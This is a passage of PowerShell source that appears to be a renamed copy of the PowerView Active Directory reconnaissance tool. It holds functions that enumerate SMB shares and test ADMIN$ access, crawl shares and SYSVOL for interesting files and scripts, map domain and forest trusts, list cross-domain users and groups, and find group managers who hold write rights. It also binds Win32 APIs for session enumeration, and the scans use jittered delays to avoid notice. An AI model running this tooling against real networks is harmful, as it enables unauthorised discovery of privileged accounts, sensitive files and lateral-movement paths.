$ComputerName += Get-ThisThingComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
}
# remove any null target hosts, uniquify the list and shuffle it
$ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
if($($ComputerName.count) -eq 0) {
throw "No hosts found!"
}
}
# script block that enumerates a server
$HostEnumBlock = {
param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)
# optionally check if the server is up first
$Up = $True
if($Ping) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
}
if($Up) {
# get the shares for this host and check what we find
$Shares = Get-MySMBShare -ComputerName $ComputerName
ForEach ($Share in $Shares) {
Write-Verbose "[*] Server share: $Share"
$NetName = $Share.shi1_netname
$Remark = $Share.shi1_remark
$Path = '\\'+$ComputerName+'\'+$NetName
# make sure we get a real share name back
if (($NetName) -and ($NetName.trim() -ne '')) {
# if we're just checking for access to ADMIN$
if($CheckAdmin) {
if($NetName.ToUpper() -eq "ADMIN$") {
try {
$Null = [IO.Directory]::GetFiles($Path)
"\\$ComputerName\$NetName `t- $Remark"
}
catch {
Write-Verbose "Error accessing path $Path : $_"
}
}
}
# skip this share if it's in the exclude list
elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {
# see if we want to check access to this share
if($CheckShareAccess) {
# check if the user has access to this path
try {
$Null = [IO.Directory]::GetFiles($Path)
"\\$ComputerName\$NetName `t- $Remark"
}
catch {
Write-Verbose "Error accessing path $Path : $_"
}
}
else {
"\\$ComputerName\$NetName `t- $Remark"
}
}
}
}
}
}
}
process {
if($Threads) {
Write-Verbose "Using threading with threads = $Threads"
# if we're using threading, kick off the script block with Invoke-ThreadedFunction
$ScriptParams = @{
'Ping' = $(-not $NoPing)
'CheckShareAccess' = $CheckShareAccess
'ExcludedShares' = $ExcludedShares
'CheckAdmin' = $CheckAdmin
}
# kick off the threaded script block + arguments
Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
else {
if(-not $NoPing -and ($ComputerName.count -ne 1)) {
# ping all hosts in parallel
$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
$ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
}
Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
$Counter = 0
ForEach ($Computer in $ComputerName) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin
}
}
}
}
function Invoke-FileFinder {
[CmdletBinding()]
param(
[Parameter(Position=0,ValueFromPipeline=$True)]
[Alias('Hosts')]
[String[]]
$ComputerName,
[ValidateScript({Test-Path -Path $_ })]
[Alias('HostList')]
[String]
$ComputerFile,
[String]
$ComputerFilter,
[String]
$ComputerADSpath,
[ValidateScript({Test-Path -Path $_ })]
[String]
$ShareList,
[Switch]
$OfficeDocs,
[Switch]
$FreshEXEs,
[Alias('Terms')]
[String[]]
$SearchTerms,
[ValidateScript({Test-Path -Path $_ })]
[String]
$TermList,
[String]
$LastAccessTime,
[String]
$LastWriteTime,
[String]
$CreationTime,
[Switch]
$IncludeC,
[Switch]
$IncludeAdmin,
[Switch]
$ExcludeFolders,
[Switch]
$ExcludeHidden,
[Switch]
$CheckWriteAccess,
[String]
$OutFile,
[Switch]
$NoClobber,
[Switch]
$NoPing,
[UInt32]
$Delay = 0,
[Double]
$Jitter = .3,
[String]
$Domain,
[String]
$DomainController,
[Switch]
$SearchForest,
[Switch]
$SearchSYSVOL,
[ValidateRange(1,100)]
[Int]
$Threads,
[Switch]
$UsePSDrive
)
begin {
if ($PSBoundParameters['Debug']) {
$DebugPreference = 'Continue'
}
# random object for delay
$RandNo = New-Object System.Random
Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay"
$Shares = @()
# figure out the shares we want to ignore
[String[]] $ExcludedShares = @("C$", "ADMIN$")
# see if we're specifically including any of the normally excluded sets
if ($IncludeC) {
if ($IncludeAdmin) {
$ExcludedShares = @()
}
else {
$ExcludedShares = @("ADMIN$")
}
}
if ($IncludeAdmin) {
if ($IncludeC) {
$ExcludedShares = @()
}
else {
$ExcludedShares = @("C$")
}
}
# delete any existing output file if it already exists
if(!$NoClobber) {
if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
}
# if there's a set of terms specified to search for
if ($TermList) {
ForEach ($Term in Get-Content -Path $TermList) {
if (($Term -ne $Null) -and ($Term.trim() -ne '')) {
$SearchTerms += $Term
}
}
}
# if we're hard-passed a set of shares
if($ShareList) {
ForEach ($Item in Get-Content -Path $ShareList) {
if (($Item -ne $Null) -and ($Item.trim() -ne '')) {
# exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder
$Share = $Item.Split("`t")[0]
$Shares += $Share
}
}
}
else {
# if we're using a host file list, read the targets in and add them to the target list
if($ComputerFile) {
$ComputerName = Get-Content -Path $ComputerFile
}
if(!$ComputerName) {
if($Domain) {
$TargetDomains = @($Domain)
}
elseif($SearchForest) {
# get ALL the domains in the forest to search
$TargetDomains = Get-ThisThingForestDomain | ForEach-Object { $_.Name }
}
else {
# use the local domain
$TargetDomains = @( (Get-ThisThingDomain).name )
}
if($SearchSYSVOL) {
ForEach ($Domain in $TargetDomains) {
$DCSearchPath = "\\$Domain\SYSVOL\"
Write-Verbose "[*] Adding share search path $DCSearchPath"
$Shares += $DCSearchPath
}
if(!$SearchTerms) {
# search for interesting scripts on SYSVOL
$SearchTerms = @('.vbs', '.bat', '.ps1')
}
}
else {
[array]$ComputerName = @()
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for hosts"
$ComputerName += Get-ThisThingComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
}
# remove any null target hosts, uniquify the list and shuffle it
$ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
if($($ComputerName.Count) -eq 0) {
throw "No hosts found!"
}
}
}
}
# script block that enumerates shares and files on a server
$HostEnumBlock = {
param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive)
Write-Verbose "ComputerName: $ComputerName"
Write-Verbose "ExcludedShares: $ExcludedShares"
$SearchShares = @()
if($ComputerName.StartsWith("\\")) {
# if a share is passed as the server
$SearchShares += $ComputerName
}
else {
# if we're enumerating the shares on the target server first
$Up = $True
if($Ping) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
}
if($Up) {
# get the shares for this host and display what we find
$Shares = Get-MySMBShare -ComputerName $ComputerName
ForEach ($Share in $Shares) {
$NetName = $Share.shi1_netname
$Path = '\\'+$ComputerName+'\'+$NetName
# make sure we get a real share name back
if (($NetName) -and ($NetName.trim() -ne '')) {
# skip this share if it's in the exclude list
if ($ExcludedShares -NotContains $NetName.ToUpper()) {
# check if the user has access to this path
try {
$Null = [IO.Directory]::GetFiles($Path)
$SearchShares += $Path
}
catch {
Write-Verbose "[!] No access to $Path"
}
}
}
}
}
}
ForEach($Share in $SearchShares) {
$SearchArgs = @{
'Path' = $Share
'SearchTerms' = $SearchTerms
'OfficeDocs' = $OfficeDocs
'FreshEXEs' = $FreshEXEs
'LastAccessTime' = $LastAccessTime
'LastWriteTime' = $LastWriteTime
'CreationTime' = $CreationTime
'ExcludeFolders' = $ExcludeFolders
'ExcludeHidden' = $ExcludeHidden
'CheckWriteAccess' = $CheckWriteAccess
'OutFile' = $OutFile
'UsePSDrive' = $UsePSDrive
}
Find-InterestingFile @SearchArgs
}
}
}
process {
if($Threads) {
Write-Verbose "Using threading with threads = $Threads"
# if we're using threading, kick off the script block with Invoke-ThreadedFunction
$ScriptParams = @{
'Ping' = $(-not $NoPing)
'ExcludedShares' = $ExcludedShares
'SearchTerms' = $SearchTerms
'ExcludeFolders' = $ExcludeFolders
'OfficeDocs' = $OfficeDocs
'ExcludeHidden' = $ExcludeHidden
'FreshEXEs' = $FreshEXEs
'CheckWriteAccess' = $CheckWriteAccess
'OutFile' = $OutFile
'UsePSDrive' = $UsePSDrive
}
# kick off the threaded script block + arguments
if($Shares) {
# pass the shares as the hosts so the threaded function code doesn't have to be hacked up
Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
else {
Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
else {
if($Shares){
$ComputerName = $Shares
}
elseif(-not $NoPing -and ($ComputerName.count -gt 1)) {
# ping all hosts in parallel
$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
$ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
}
Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
$Counter = 0
$ComputerName | Where-Object {$_} | ForEach-Object {
Write-Verbose "Computer: $_"
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive
}
}
}
}
function Get-ThisThingDomainTrust {
[CmdletBinding()]
param(
[Parameter(Position=0, ValueFromPipeline=$True)]
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[Switch]
$API,
[Switch]
$LDAP,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
begin {
$TrustAttributes = @{
[uint32]'0x00000001' = 'non_transitive'
[uint32]'0x00000002' = 'uplevel_only'
[uint32]'0x00000004' = 'quarantined_domain'
[uint32]'0x00000008' = 'forest_transitive'
[uint32]'0x00000010' = 'cross_organization'
[uint32]'0x00000020' = 'within_forest'
[uint32]'0x00000040' = 'treat_as_external'
[uint32]'0x00000080' = 'trust_uses_rc4_encryption'
[uint32]'0x00000100' = 'trust_uses_aes_keys'
[uint32]'0x00000200' = 'cross_organization_no_tgt_delegation'
[uint32]'0x00000400' = 'pim_trust'
}
}
process {
if(-not $Domain) {
# if not domain is specified grab the current domain
$SourceDomain = (Get-ThisThingDomain -Credential $Credential).Name
}
else {
$SourceDomain = $Domain
}
if($LDAP -or $ADSPath) {
$TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath
$SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController
if($TrustSearcher) {
$TrustSearcher.Filter = '(objectClass=trustedDomain)'
$Results = $TrustSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Props = $_.Properties
$DomainTrust = New-Object PSObject
$TrustAttrib = @()
$TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
$Direction = Switch ($Props.trustdirection) {
0 { 'Disabled' }
1 { 'Inbound' }
2 { 'Outbound' }
3 { 'Bidirectional' }
}
$ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
$TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID
$DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
$DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID
$DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}"
$DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',')
$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
$DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP')
$DomainTrust
}
$Results.dispose()
$TrustSearcher.dispose()
}
}
elseif($API) {
if(-not $DomainController) {
$DomainController = Get-ThisThingDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name
}
if($DomainController) {
# arguments for DsEnumerateDomainTrusts
$PtrInfo = [IntPtr]::Zero
# 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
$Flags = 63
$DomainCount = 0
# get the trust information from the target server
$Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
# Locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# Work out how much to increment the pointer by finding out the size of the structure
$Increment = $DS_DOMAIN_TRUSTS::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $DomainCount); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$SidString = ""
$Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($Result -eq 0) {
Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
else {
$DomainTrust = New-Object PSObject
$DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController
$DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName
$DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName
$DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
$DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
$DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
$DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString
$DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid
$DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust')
$DomainTrust
}
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
else {
Write-Verbose "Could not retrieve domain controller for $Domain"
}
}
else {
# if we're using direct domain connections through .NET
$FoundDomain = Get-ThisThingDomain -Domain $Domain -Credential $Credential
if($FoundDomain) {
$FoundDomain.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Add('PowerView.DomainTrust')
$_
}
}
}
}
}
function Get-ThisThingForestTrust {
[CmdletBinding()]
param(
[Parameter(Position=0,ValueFromPipeline=$True)]
[String]
$Forest,
[Management.Automation.PSCredential]
$Credential
)
process {
$FoundForest = Get-ThisThingForest -Forest $Forest -Credential $Credential
if($FoundForest) {
$FoundForest.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Add('PowerView.ForestTrust')
$_
}
}
}
}
function Find-ForeignUser {
[CmdletBinding()]
param(
[String]
$UserName,
[String]
$Domain,
[String]
$DomainController,
[Switch]
$LDAP,
[Switch]
$Recurse,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
function Get-ForeignUser {
# helper used to enumerate users who are in groups outside of their principal domain
param(
[String]
$UserName,
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
if ($Domain) {
# get the domain name into distinguished form
$DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC='
}
else {
$DistinguishedDomainName = [String] ([adsi]'').distinguishedname
$Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.'
}
Get-ThisThingUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object {
ForEach ($Membership in $_.memberof) {
$Index = $Membership.IndexOf("DC=")
if($Index) {
$GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.'
if ($GroupDomain.CompareTo($Domain)) {
# if the group domain doesn't match the user domain, output
$GroupName = $Membership.split(",")[0].split("=")[1]
$ForeignUser = New-Object PSObject
$ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain
$ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership
$ForeignUser
}
}
}
}
}
if ($Recurse) {
# get all rechable domains in the trust mesh and uniquify them
if($LDAP -or $DomainController) {
$DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
}
else {
$DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
}
ForEach($DomainTrust in $DomainTrusts) {
# get the trust groups for each domain in the trust mesh
Write-Verbose "Enumerating trust groups in domain $DomainTrust"
Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize
}
}
else {
Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize
}
}
function Find-ForeignGroup {
[CmdletBinding()]
param(
[String]
$GroupName = '*',
[String]
$Domain,
[String]
$DomainController,
[Switch]
$LDAP,
[Switch]
$Recurse,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
function Get-ForeignGroup {
param(
[String]
$GroupName = '*',
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
if(-not $Domain) {
$Domain = (Get-ThisThingDomain).Name
}
$DomainDN = "DC=$($Domain.Replace('.', ',DC='))"
Write-Verbose "DomainDN: $DomainDN"
# standard group names to ignore
$ExcludeGroups = @("Users", "Domain Users", "Guests")
# get all the groupnames for the given domain
Get-ThisThingGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {
# exclude common large groups
-not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object {
$GroupName = $_.samAccountName
$_.member | ForEach-Object {
# filter for foreign SIDs in the cn field for users in another domain,
# or if the DN doesn't end with the proper DN for the queried domain
if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) {
$UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
$UserName = $_.split(",")[0].split("=")[1]
$ForeignGroupUser = New-Object PSObject
$ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain
$ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName
$ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_
$ForeignGroupUser
}
}
}
}
if ($Recurse) {
# get all rechable domains in the trust mesh and uniquify them
if($LDAP -or $DomainController) {
$DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
}
else {
$DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
}
ForEach($DomainTrust in $DomainTrusts) {
# get the trust groups for each domain in the trust mesh
Write-Verbose "Enumerating trust groups in domain $DomainTrust"
Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
}
}
else {
Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
}
}
function Find-ManagedSecurityGroups {
# Go through the list of security groups on the domain and identify those who have a manager
Get-ThisThingGroup -FullData -Filter '(managedBy=*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {
# Retrieve the object that the managedBy DN refers to
$group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname
# Create a results object to store our findings
$results_object = New-Object -TypeName PSObject -Property @{
'GroupCN' = $_.cn
'GroupDN' = $_.distinguishedname
'ManagerCN' = $group_manager.cn
'ManagerDN' = $group_manager.distinguishedName
'ManagerSAN' = $group_manager.samaccountname
'ManagerType' = ''
'CanManagerWrite' = $FALSE
}
# Determine whether the manager is a user or a group
if ($group_manager.samaccounttype -eq 0x10000000) {
$results_object.ManagerType = 'Group'
} elseif ($group_manager.samaccounttype -eq 0x30000000) {
$results_object.ManagerType = 'User'
}
# Find the ACLs that relate to the ability to write to the group
$xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers
# Double-check that the manager
if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) {
$results_object.CanManagerWrite = $TRUE
}
$results_object
}
}
function Invoke-MapDomainTrust {
[CmdletBinding()]
param(
[Switch]
$LDAP,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}
# our domain status tracker
$Domains = New-Object System.Collections.Stack
# get the current domain and push it onto the stack
$CurrentDomain = (Get-ThisThingDomain -Credential $Credential).Name
$Domains.push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "Enumerating trusts for domain '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.add($Domain, "")
try {
# get all the trusts for this domain
if($LDAP -or $DomainController) {
$Trusts = Get-ThisThingDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential
}
else {
$Trusts = Get-ThisThingDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential
}
if($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# get any forest trusts, if they exist
if(-not ($LDAP -or $DomainController) ) {
$Trusts += Get-ThisThingForestTrust -Forest $Domain -Credential $Credential
}
if ($Trusts) {
if($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# enumerate each trust found
ForEach ($Trust in $Trusts) {
if($Trust.SourceName -and $Trust.TargetName) {
$SourceDomain = $Trust.SourceName
$TargetDomain = $Trust.TargetName
$TrustType = $Trust.TrustType
$TrustDirection = $Trust.TrustDirection
$ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1
# make sure we process the target
$Null = $Domains.Push($TargetDomain)
# build the nicely-parsable custom output object
$DomainTrust = New-Object PSObject
$DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain"
$DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID
$DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain"
$DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID
$DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType"
$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection"
$DomainTrust.PSObject.TypeNames.Add($ObjectType)
$DomainTrust
}
}
}
}
catch {
Write-Verbose "[!] Error: $_"
}
}
}
}
$Mod = New-InMemoryModule -ModuleName Win32
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr]))
)
# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
Active = 0
Connected = 1
ConnectQuery = 2
Shadow = 3
Disconnected = 4
Idle = 5
Listen = 6
Reset = 7
Down = 8
Init = 9
}
# the WTSEnumerateSessionsEx result structure
$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{
ExecEnvId = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}
# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}
# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{
shi1_netname = field 0 String -MarshalAs @('LPWStr')
shi1_type = field 1 UInt32
shi1_remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{
wkui1_username = field 0 String -MarshalAs @('LPWStr')
wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr')
wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr')
wkui1_logon_server = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{
sesi10_cname = field 0 String -MarshalAs @('LPWStr')
sesi10_username = field 1 String -MarshalAs @('LPWStr')
sesi10_time = field 2 UInt32
sesi10_idle_time = field 3 UInt32
}
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
SidTypeUser = 1
SidTypeGroup = 2
SidTypeDomain = 3
SidTypeAlias = 4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid = 7
SidTypeUnknown = 8
SidTypeComputer = 9
}
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST = 1
DIRECT_OUTBOUND = 2
TREE_ROOT = 4
PRIMARY = 8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT = 3
DCE = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE = 1
UPLEVEL_ONLY = 2
FILTER_SIDS = 4
FOREST_TRANSITIVE = 8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
}
